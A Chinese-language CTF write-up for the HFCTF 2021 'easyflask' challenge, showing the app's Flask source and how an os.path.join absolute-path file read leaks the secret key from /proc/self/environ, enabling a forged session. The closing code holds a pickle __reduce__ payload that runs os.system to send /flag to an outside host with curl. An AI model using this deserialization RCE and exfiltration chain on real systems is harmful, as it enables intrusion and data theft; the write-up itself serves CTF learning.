HFCTF-2021-Final-easyflask


Feature:

  • Python os.path.join trick
  • 环境变量暴露敏感信息
  • pickle 反序列化 RCE
  • Flask Session 伪造

题目给了 hint:

访问 /file?file=index.js

访问 /file?file=/app/source, 拿到 Python 源码:


#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

注意 /file 路由,用户上传的 path 会被拼接到 static 目录后面,这里有个trick, 当 os.path.join 的第二个参数为绝对路径时拼接的结果就是该绝对路径。

用这里可以实现任意文件读取。

/admin 路由里使用 pickle 模块直接将 session 里的内容反序列化了。这里还是那句话,永远不要相信用户输入的内容!!!
用过 Python 的人一定听过一句话:

Python 无处无对象

pickle 模块实现了将 Python 对象序列化和反序列化的方法。
这里涉及到一个魔法方法 __reduce__,看一下官方文档的解释:

反序列化必然包含创建新对象的操作,如果 __reduce__ 里包含攻击代码就可以实现RCE了。

被反序列化的输出储存在 session 里,但是 session 数据都是 flask 加密过的,只有知道 secret_key 才能伪造 Session 实现 RCE。

一般来说,secret_key 这样的数据传递给程序主要有以下方法:

  • 硬编码在代码里(一般没人这样把。。。)
  • 写在配置文件里
  • 通过环境变量传递给程序

这里刚好是第三种情况,*nix 系统存在一个伪文件系统 /proc,结合前面的任意文件读取漏洞可以读取到自身的环境变量

payload:
/file?file=/proc/self/environ

接下来就是伪造 Session 啦,修改源码里的 SECRET_KEY, 给 User 对象添加 __reduce__ 方法,用浏览器访问 / 拿到伪造号的Cookie,开打!

app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__reduce__': lambda o : (os.system, ('cat /flag | curl -F ":data=@-" http://ip:port/hack.txt',)),
    '__repr__': lambda o: o.uname,
})

文章作者: Summer
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer !